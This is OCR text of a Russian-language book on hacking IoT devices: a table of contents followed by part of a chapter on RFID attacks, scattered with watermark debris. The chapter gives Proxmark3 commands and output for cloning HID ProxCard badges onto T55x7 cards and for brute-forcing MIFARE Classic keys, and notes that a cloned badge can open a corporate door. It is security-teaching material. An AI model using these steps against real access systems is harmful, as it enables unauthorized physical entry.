- •От издательства
- •О техническом обозревателе
- •О соавторах
- •Об авторах
- •Вступительное слово
- •Благодарности
- •Предисловие
- •Почему важна защита интернета вещей?
- •Чем защита интернета вещей отличается от традиционной ИТ-защиты?
- •Законы хакинга интернета вещей
- •Заключение
- •Моделирование угроз для интернета вещей
- •Схема моделирования угроз
- •Определение архитектуры
- •Разбивка архитектуры на компоненты
- •Выявление угроз
- •Использование деревьев атак для обнаружения угроз
- •Распространенные угрозы интернета вещей
- •Атаки с подавлением сигнала
- •Атаки с воспроизведением
- •Атаки со взломом настроек
- •Клонирование узла
- •Заключение
- •Пассивная разведка
- •Физический или аппаратный уровень
- •Периферийные интерфейсы
- •Среда загрузки
- •Блокировки
- •Предотвращение и обнаружение несанкционированного доступа
- •Прошивка
- •Интерфейсы отладки
- •Физическая устойчивость
- •Разведка
- •Атаки на сетевой протокол и службы
- •Тестирование беспроводного протокола
- •Оценка веб-приложений
- •Картирование приложений
- •Элементы управления на стороне клиента
- •Аутентификация
- •Управление сеансом
- •Проверка ввода
- •Логические ошибки
- •Сервер приложений
- •Исследование конфигурации хоста
- •Учетные записи пользователей
- •Привилегии учетной записи
- •Уровни патчей
- •Удаленное обслуживание
- •Управление доступом к файловой системе
- •Шифрование данных
- •Неверная конфигурация сервера
- •Мобильное приложение и облачное тестирование
- •Заключение
- •4. Оценка сети
- •Переход в сеть IoT
- •VLAN и сетевые коммутаторы
- •Спуфинг коммутатора
- •Двойное тегирование
- •Имитация устройств VoIP
- •Идентификация устройств IoT в сети
- •Обнаружение паролей службами снятия отпечатков
- •Атаки MQTT
- •Настройка тестовой среды
- •Написание модуля MQTT Authentication-Cracking в Ncrack
- •Тестирование модуля Ncrack на соответствие MQTT
- •Заключение
- •5. Анализ сетевых протоколов
- •Проверка сетевых протоколов
- •Сбор информации
- •Анализ
- •Создание прототипов и разработка инструментов
- •Работа с Lua
- •Общие сведения о протоколе DICOM
- •Генерация трафика DICOM
- •Включение Lua в Wireshark
- •Определение диссектора
- •Определение основной функции диссектора
- •Завершение диссектора
- •Создание диссектора C-ECHO
- •Начальная загрузка данных функции диссектора
- •Анализ полей переменной длины
- •Тестирование диссектора
- •Разработка сканера служб DICOM для механизма сценариев Nmap
- •Написание библиотеки сценариев Nmap для DICOM
- •Коды и константы DICOM
- •Написание функций создания и уничтожения сокетов
- •Создание заголовков пакетов DICOM
- •Написание запросов контекстов сообщений A-ASSOCIATE
- •Чтение аргументов скрипта в движке сценариев Nmap
- •Определение структуры запроса A-ASSOCIATE
- •Анализ ответов A-ASSOCIATE
- •Создание окончательного сценария
- •Заключение
- •6. Использование сети с нулевой конфигурацией
- •Использование UPnP
- •Стек UPnP
- •Распространенные уязвимости UPnP
- •Злоупотребление UPnP через интерфейсы WAN
- •Другие атаки UPnP
- •Использование mDNS и DNS-SD
- •Как работает mDNS
- •Как работает DNS-SD
- •Проведение разведки с помощью mDNS и DNS-SD
- •Злоупотребление на этапе проверки mDNS
- •Атаки «человек посередине» на mDNS и DNS-SD
- •Использование WS-Discovery
- •Как работает WS-Discovery
- •Подделка камер в вашей сети
- •Создание атак WS-Discovery
- •Заключение
- •UART
- •Аппаратные средства для связи с UART
- •Как найти порты UART
- •Определение скорости передачи UART
- •JTAG и SWD
- •JTAG
- •Как работает SWD
- •Аппаратные средства для взаимодействия с JTAG и SWD
- •Идентификация контактов JTAG
- •Взлом устройства с помощью UART и SWD
- •Целевое устройство STM32F103C8T6 (Black Pill)
- •Настройка среды отладки
- •Кодирование целевой программы на Arduino
- •Отладка целевого устройства
- •Заключение
- •Как работает SPI
- •Как работает I2C
- •Настройка архитектуры шины I2C типа «контроллер–периферия»
- •Заключение
- •9. Взлом прошивки
- •Прошивка и операционные системы
- •Получение доступа к микропрограмме
- •Взлом маршрутизатора Wi-Fi
- •Извлечение файловой системы
- •Статический анализ содержимого файловой системы
- •Эмуляция прошивки
- •Динамический анализ
- •Внедрение бэкдора в прошивку
- •Нацеливание на механизмы обновления микропрограмм
- •Компиляция и установка
- •Код клиента
- •Запуск службы обновления
- •Уязвимости служб обновления микропрограмм
- •Заключение
- •10. Радио ближнего действия: взлом rFID
- •Радиочастотные диапазоны
- •Пассивные и активные технологии RFID
- •Структура меток RFID
- •Низкочастотные метки RFID
- •Высокочастотные RFID-метки
- •Настройка Proxmark3
- •Обновление Proxmark3
- •Клонирование низкочастотных меток
- •Клонирование высокочастотных меток
- •Имитация RFID-метки
- •Изменение содержимого RFID-меток
- •Команды RAW для небрендированных или некоммерческих RFID-тегов
- •Подслушивание обмена данными между меткой и считывателем
- •Извлечение ключа сектора из перехваченного трафика
- •Атака путем подделки RFID
- •Автоматизация RFID-атак с помощью механизма скриптов Proxmark3
- •Пользовательские сценарии использования RFID-фаззинга
- •Заключение
- •11. Bluetooth Low Energy (BLE)
- •Как работает BLE
- •Необходимое оборудование BLE
- •BlueZ
- •Настройка интерфейсов BLE
- •Обнаружение устройств и перечисление характеристик
- •GATTTool
- •Bettercap
- •Взлом BLE
- •Настройка BLE CTF Infinity
- •Приступаем к работе
- •Заключение
- •12. Радиоканалы средней дальности: взлом Wi-Fi
- •Как работает Wi-Fi
- •Атаки Wi-Fi на беспроводные клиенты
- •Деаутентификация и атаки «отказ в обслуживании»
- •Атаки на Wi-Fi путем подключения
- •Wi-Fi Direct
- •Атаки на точки доступа Wi-Fi
- •Взлом WPA/WPA2
- •Взлом WPA/WPA2 Enterprise для сбора учетных данных
- •Методология тестирования
- •Заключение
- •13. Радио дальнего действия: LPWAN
- •Захват трафика LoRa
- •Настройка платы разработки Heltec LoRa 32
- •Настройка LoStik
- •Превращаем USB-устройство CatWAN в сниффер LoRa
- •Декодирование протокола LoRaWAN
- •Формат пакета LoRaWAN
- •Присоединение к сетям LoRaWAN
- •Атаки на LoRaWAN
- •Атаки с заменой битов
- •Генерация ключей и управление ими
- •Атаки воспроизведения
- •Подслушивание
- •Подмена ACK
- •Атаки, специфичные для приложений
- •Заключение
- •14. Взлом мобильных приложений
- •Разбивка архитектуры на компоненты
- •Выявление угроз
- •Защита данных и зашифрованная файловая система
- •Подписи приложений
- •Аутентификация пользователя
- •Управление изолированными аппаратными компонентами и ключами
- •Проверенная и безопасная загрузка
- •Анализ приложений iOS
- •Подготовка среды тестирования
- •Статический анализ
- •Динамический анализ
- •Атаки путем инъекции
- •Хранилище связки ключей
- •Реверс-инжиниринг двоичного кода
- •Перехват и изучение сетевого трафика
- •Анализ приложений Android
- •Подготовка тестовой среды
- •Извлечение файла APK
- •Статический анализ
- •Обратная конвертация двоичных исполняемых файлов
- •Динамический анализ
- •Перехват и анализ сетевого трафика
- •Утечки по побочным каналам
- •Заключение
- •15. Взлом умного дома
- •Физический доступ в здание
- •Клонирование RFID-метки умного дверного замка
- •Глушение беспроводной сигнализации
- •Воспроизведение потока с IP-камеры
- •Общие сведения о протоколах потоковой передачи
- •Анализ сетевого трафика IP-камеры
- •Извлечение видеопотока
- •Атака на умную беговую дорожку
- •Перехват управления интеллектуальной беговой дорожкой на базе Android
- •Заключение
- •Инструменты для взлома интернета вещей
- •Предметный указатель
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Manufacturer byte: |
04, |
NXP Semiconductors |
Germany |
Chip ID: |
01, |
IC SL2 ICS20/ICS21(SLI) ICS2002/ICS2102(SLIX) |
|
Valid ISO15693 Tag |
Found - Quiting Search |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
В зависимости от поставщика метки выходные данные команды могут также включать производителя, идентификационный номер чипа или известные специфические для меток уязвимости.
Клонирование низкочастотных меток
Давайте попробуем клонировать метку, начиная с низкочастотной версии. К низкочастотным картам, доступным на рынке, относятся среди прочего HID ProxCard, Cotag, Awid, Indala, и Hitag, но наиболее распространенными являются HID ProxCard. В этом разделе мы кло- нируем ProxCard с помощью Proxmark3,а затем создадим новую мет- ку,содержащую те же данные.Вы можете использовать эту метку для подмены объекта с законной меткой, например сотрудника компа- нии,иразблокироватьумныйдвернойзамоккорпоративногоздания.
Для начала воспользуйтеськомандой поиска низкочастотных карт, которые находятся в радиусе действия Proxmark3.Если производите- лем обнаруженной карты является HID, результат будет обычно вы- глядеть следующим образом:
proxmark3> lf search Checking for known tags:
HID Prox TAG ID: 2004246b3a (13725) - Format Len: 26bit - FC: 18 - Card: 13725 [+] Valid HID Prox ID Found!
Затемизучитеспециальныекомандыпроизводителядляустройств HID, указав в качестве параметра hid:
proxmark3> lf hid
help |
this help |
demod |
demodulate HID Prox tag from the GraphBuffer |
read |
attempt to read and extract tag data |
clone |
clone HID to T55x7 |
sim |
simulate HID tag |
wiegand |
convert facility code/card number to Wiegand code |
brute |
bruteforce card number against reader |
|
|
Теперь попробуйте прочитать данные тега:
proxmark3> lf hid read
HID Prox TAG ID: 2004246b3a (13725) - Format Len: 26bit - FC: 18 - Card: 13725
Команда должна возвращатьточный идентификатор тега HID. Чтобы клонировать этот тег с помощью Proxmark3, используйте
пустую или ранее незапрограммированную карту T55x7. Эти карты
290 Глава 10
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
обычно совместимы с технологиями EM4100, HID и Indala. Располо- |
|
|
|
|
|
m |
||||
w Click |
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
жите карту T55x7 над низкочастотной антенной и выполните следуd-f-x chan |
.c |
|
||||||||
|
. |
|
|
|
|
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
e |
|
ющую команду, передав ей идентификатор тега, который вы хотите клонировать:
proxmark3> lf hid clone 2004246b3a
Cloning tag with ID 2004246b3a
ТеперьможетеиспользоватькартуT55x7,какеслибыэтобылаори- гинальная карта.
Клонирование высокочастотных меток
Хотя высокочастотные технологии обеспечивают лучшую безопас ность, чем низкочастотные, неправильные или ранние реализации могут быть уязвимы для атак. Например, карты MIFARE Classic отно- сятся к числу наиболее уязвимых высокочастотных карт, поскольку они используют ключи по умолчанию и собственный незащищенный криптографический механизм. В этом разделе мы рассмотрим про- цесс клонирования карты MIFARE Classic.
Распределение памяти MIFARE Classic
Чтобы понять, каковы возможные векторы атаки MIFARE Classic, проанализируем распределение памяти в простейшей карте MIFARE Classic 1KB (рис. 10.5).
Карта MIFARE Classic 1KB имеет 16 секторов. Каждый сектор зани- мает четыре блока, и каждый блок содержит 16 байт. Производитель сохраняет UID карты в секторе 0 блока 0, который вы не можете из- менить.
Для доступа к каждому сектору вам понадобятся два ключа–A и B. Ключи могут быть разные, но во многих реализациях используют- ся ключи по умолчанию (FFFFFFFFFFFF – один из таких ключей). Эти ключи хранятся в блоке 3 каждого сектора, называемом трейлером сектора. В трейлере сектора также хранятся биты доступа, которые устанавливают чтение и записывают разрешения для каждого блока с помощью двух ключей.
Чтобы понять, почему полезно иметь два ключа,давайте рассмот рим пример: карты, которые мы используем для поездок в метро. Эти карты могут позволить считывателю RFID считывать все бло- ки данных с помощью ключа A или B, но записывать в них только с помощью ключа B. В результате считыватель RFID на турникете, который имеет только ключ A, может считывать данные карты, раз- блокировать турникет для пользователей с достаточным балансом и уменьшить ваш баланс. Но вам понадобится специальный терми- нал с ключом B для записи или увеличения баланса пользователей. Кассир на станции – единственный человек, который может управ- лять этим терминалом.
Радио ближнего действия: взлом rFID 291
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
0 |
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
|
|||
|
|
|
|
|
|
|
|
|
|
Байт |
|
|
|
|
|
|
|
|
||
Сектор |
Блок |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
15 |
3 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
КлючА |
|
|
|
Доступ |
|
|
|
Ключ B |
|
|
|
||||||
|
2 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Сектор |
Блок |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
14 |
3 |
|
|
|
КлючА |
|
|
|
Доступ |
|
|
|
Ключ B |
|
|
|
||||
|
2 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
… |
|
|
|
|
|
|
|
|
|
|
… |
|
|
|
|
|
|
|
|
|
Сектор |
Блок |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
0 |
3 |
|
|
|
КлючА |
|
|
|
Доступ |
|
|
|
Ключ B |
|
|
|
||||
|
2 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Карта MIFARE Classic |
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Рис.10.5.Распределение памяти карты MIFARE Classic 1KB
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Биты доступа расположены между двумя типами ключей. Если компания неправильно настроит эти биты, например непреднаме- ренно предоставив разрешения на запись, злоумышленники могут вмешаться в данные блока сектора.Втабл.10.3 перечислены возмож- ные разрешения управления доступом, которые можно определить с помощью этих битов доступа.
Таблица 10.3.Биты доступа MIFARE
Биты доступа |
Действующие разрешения на управление доступом |
Блок |
Описание |
C13,C23,C33 |
Чтение,запись |
3 |
Метка сектора |
C12,C22,C32 |
Чтение,запись,увеличение,уменьшение,передача, |
2 |
Блок данных |
|
восстановление |
|
|
C11,C21,C31 |
Чтение,запись,увеличение,уменьшение,передача, |
1 |
Блок данных |
|
восстановление |
|
|
C10,C20,C30 |
Чтение,запись,увеличение,уменьшение,передача, |
0 |
Блок данных |
|
восстановление |
|
|
Вы можете использовать различные методы для манипуляций с картами MIFARE Classic, а также специальное оборудование, такое как Proxmark3 или Arduino с платой PN532. Даже менее сложного
292 Глава 10
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
|
C |
|
E |
|
|
||||
|
|
|
X |
|
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
||
оборудования,такого как как смартфон с ОС Android, может бытьwдо- |
|
|
|
|
|
m |
||||||
|
w Click |
|
|
|
|
|
|
o |
||||
|
|
w |
|
|
|
|
|
|
|
|
|
|
статочно для копирования, клонирования и воспроизведения картыdf-x chan |
.c |
|
||||||||||
|
|
. |
|
|
|
|
|
|
|
|||
|
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
|
MIFARE Classic, но многие исследователи оборудования предпочита- |
|
|
|
|
|
|
||||||
ют Proxmark3 другим решениям из-за предварительно загруженных |
|
|
|
|
|
|
||||||
команд. |
|
|
|
|
|
|
|
|
|
|
|
|
Чтобы просмотретьатаки,которые вы могли бы выполнитьпротив |
|
|
|
|
|
|
||||||
карты MIFARE Classic, используйте команду hf mf: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
proxmark3> hf mf |
|
|
|
|
|
|
|
|
|
|
|
|
help |
This help |
|
|
|
|
|
|
|
|
|
|
|
darkside |
Darkside attack. read parity error messages. |
|
|
|
|
|
|
|
|
|
|
|
nested |
Nested attack. Test nested authentication |
|
|
|
|
|
|
|
|
|
|
|
hardnested |
Nested attack for hardened MIFARE cards |
|
|
|
|
|
|
|
|
|
|
|
keybrute |
J_Run's 2nd phase of multiple sector nested authentication key recovery |
|
|
|
|
|
|
|||||
nack |
Test for MIFARE NACK bug |
|
|
|
|
|
|
|
|
|
|
|
chk |
Check keys |
|
|
|
|
|
|
|
|
|
|
|
fchk |
Check keys fast, targets all keys on card |
|
|
|
|
|
|
|
|
|
|
|
decrypt |
[nt] [ar_enc] [at_enc] [data] - to decrypt snoop or trace |
|
|
|
|
|
|
|
|
|
|
|
----------- |
|
|
|
|
|
|
|
|
|
|
|
|
dbg |
Set default debug mode |
|
|
|
|
|
|
|
|
|
|
|
… |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Большинство перечисленных команд реализует атаки методом перебора против используемого протокола аутентификации (напри мер, команды chk и fchk) или атаки на известные уязвимости (на пример,команды nack,darkside и hardnested).В главе 15 мы восполь- зуемся командой darkside.
Взлом ключей методом перебора
Чтобы прочитатьблоки памяти карты MIFARE,вам нужно найти клю- чи для каждого из 16 секторов. Самый простой способ сделать это – выполнить атаку полным перебором и попытаться аутентифициро- ваться с использованием списка ключей по умолчанию. В Proxmark3 есть специальная команда для этой атаки – chk (сокращение от слова check).Эта команда использует список известных паролей,чтобы по- пытаться прочитать карту.
Чтобы выполнить эту атаку, сначала выберите команды в высоко- частотном диапазоне с помощью параметра hf, а затем параметра mf, который покажет вам команды для карт MIFARE. Затем добавьте параметр chk, чтобы выбрать атаку путем перебора. Вы также долж- ны указать количество блоков, на которые вы нацелены. Это может быть параметр от 0x00 до 0xFF или символ *, выбирающий все бло- ки, за которым следует число, указывающее размер памяти метки
(0 = 320 байт, 1 = 1 КБ, 2 = 2 КБ и 4 = 4 КБ).
Затем укажите тип ключа: A для ключей типа A, B для ключей типа B и ? для тестирования ключей обоих типов. Вы также можете ис- пользовать параметр d для записи идентифицированных ключей вдвоичныйфайлилипараметр t длязагрузкиидентифицированных
Радио ближнего действия: взлом rFID 293
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
ключей непосредственно в память эмулятора Proxmark3 для даль- |
|
|
|
to |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
m |
||
w Click |
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
df-x chan |
|
o |
|
|||||
нейшегоиспользования,напримерчтенияопределенныхблоковили |
. |
.c |
|
||||||||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
секторов.
Далее можно указать либо список ключей, разделенных пробела- ми, либо файл, который содержит эти ключи. Proxmark3 содержит список по умолчанию в папке с исходным кодом по адресу./client/de- fault_keys.dic. Если вы не предоставите свой собственный список или файлсключами,Proxmark3будетиспользоватьэтотфайлдляпровер- ки 17 наиболее распространенных ключей по умолчанию.
Вот пример выполнения атаки методом подбора:
$ proxmark3> hf mf chk *1 ? t ./client/default_keys.dic
--chk keys. sectors:16, block no: 0, key type:B, eml:n, dmp=y checktimeout=471 us
chk custom key[ 0] FFFFFFFFFFFF |
|
|
|||||
chk custom key[ 1] 000000000000 |
|
|
|||||
… |
|
|
|
|
|
|
|
chk custom key[91] a9f953def0a3 |
|
|
|||||
To cancel this operation |
press the button on the proxmark... |
||||||
--o. |
|
|
|
|
|
|
|
|--- |
| |
---------------- |
|--- |
| |
---------------- |
|--- |
| |
|sec|key A |
|res|key B |
|res| |
|||||
|--- |
|---------------- |
|
|--- |
|---------------- |
|
|--- |
| |
|000| |
FFFFFFFFFFFF |
| 1 |
| |
FFFFFFFFFFFF |
| 1 | |
||
|001| |
FFFFFFFFFFFF |
| 1 |
| |
FFFFFFFFFFFF |
| 1 | |
||
|002| |
FFFFFFFFFFFF |
| 1 |
| |
FFFFFFFFFFFF |
| 1 | |
||
|003| |
FFFFFFFFFFFF |
| 1 |
| |
FFFFFFFFFFFF |
| 1 | |
||
… |
|
|
|
|
|
|
|
|014| |
FFFFFFFFFFFF |
| 1 |
| |
FFFFFFFFFFFF |
| 1 | |
||
|015| |
FFFFFFFFFFFF |
| 1 |
| |
FFFFFFFFFFFF |
| 1 | |
||
|--- |
|---------------- |
|
|--- |
|---------------- |
|
|--- |
| |
32 keys(s) found have been transferred to |
the emulator memory |
||||||
|
|
|
|
|
|
|
|
Если команда выполнена успешно, отображается таблица с ключа- миAиBдля16секторов.ЕсливыиспользовалипараметрВ,Proxmark3 сохранит ключи в файле с именем dumpedkeys.bin, и результат будет выглядеть следующим образом:
Found keys have been dumped to file dumpkeys.bin.
Последние версии Proxmark3, такие как RVD 4.0, поддерживают оптимизированную версию той же команды, называемую fchk. Он принимаетдва параметра: размер памяти тега и параметр t (переда- ча), который вы можете использовать для загрузки ключей в память
Proxmark3:
proxmark3> hf mf fchk 1 t
[+] No key specified, trying default keys [ 0] FFFFFFFFFFFF
294 Глава 10
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
[ 1] 000000000000 [ 2] a0a1a2a3a4a5 [ 3] b0b1b2b3b4b5
…
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Чтение и клонирование данных карты
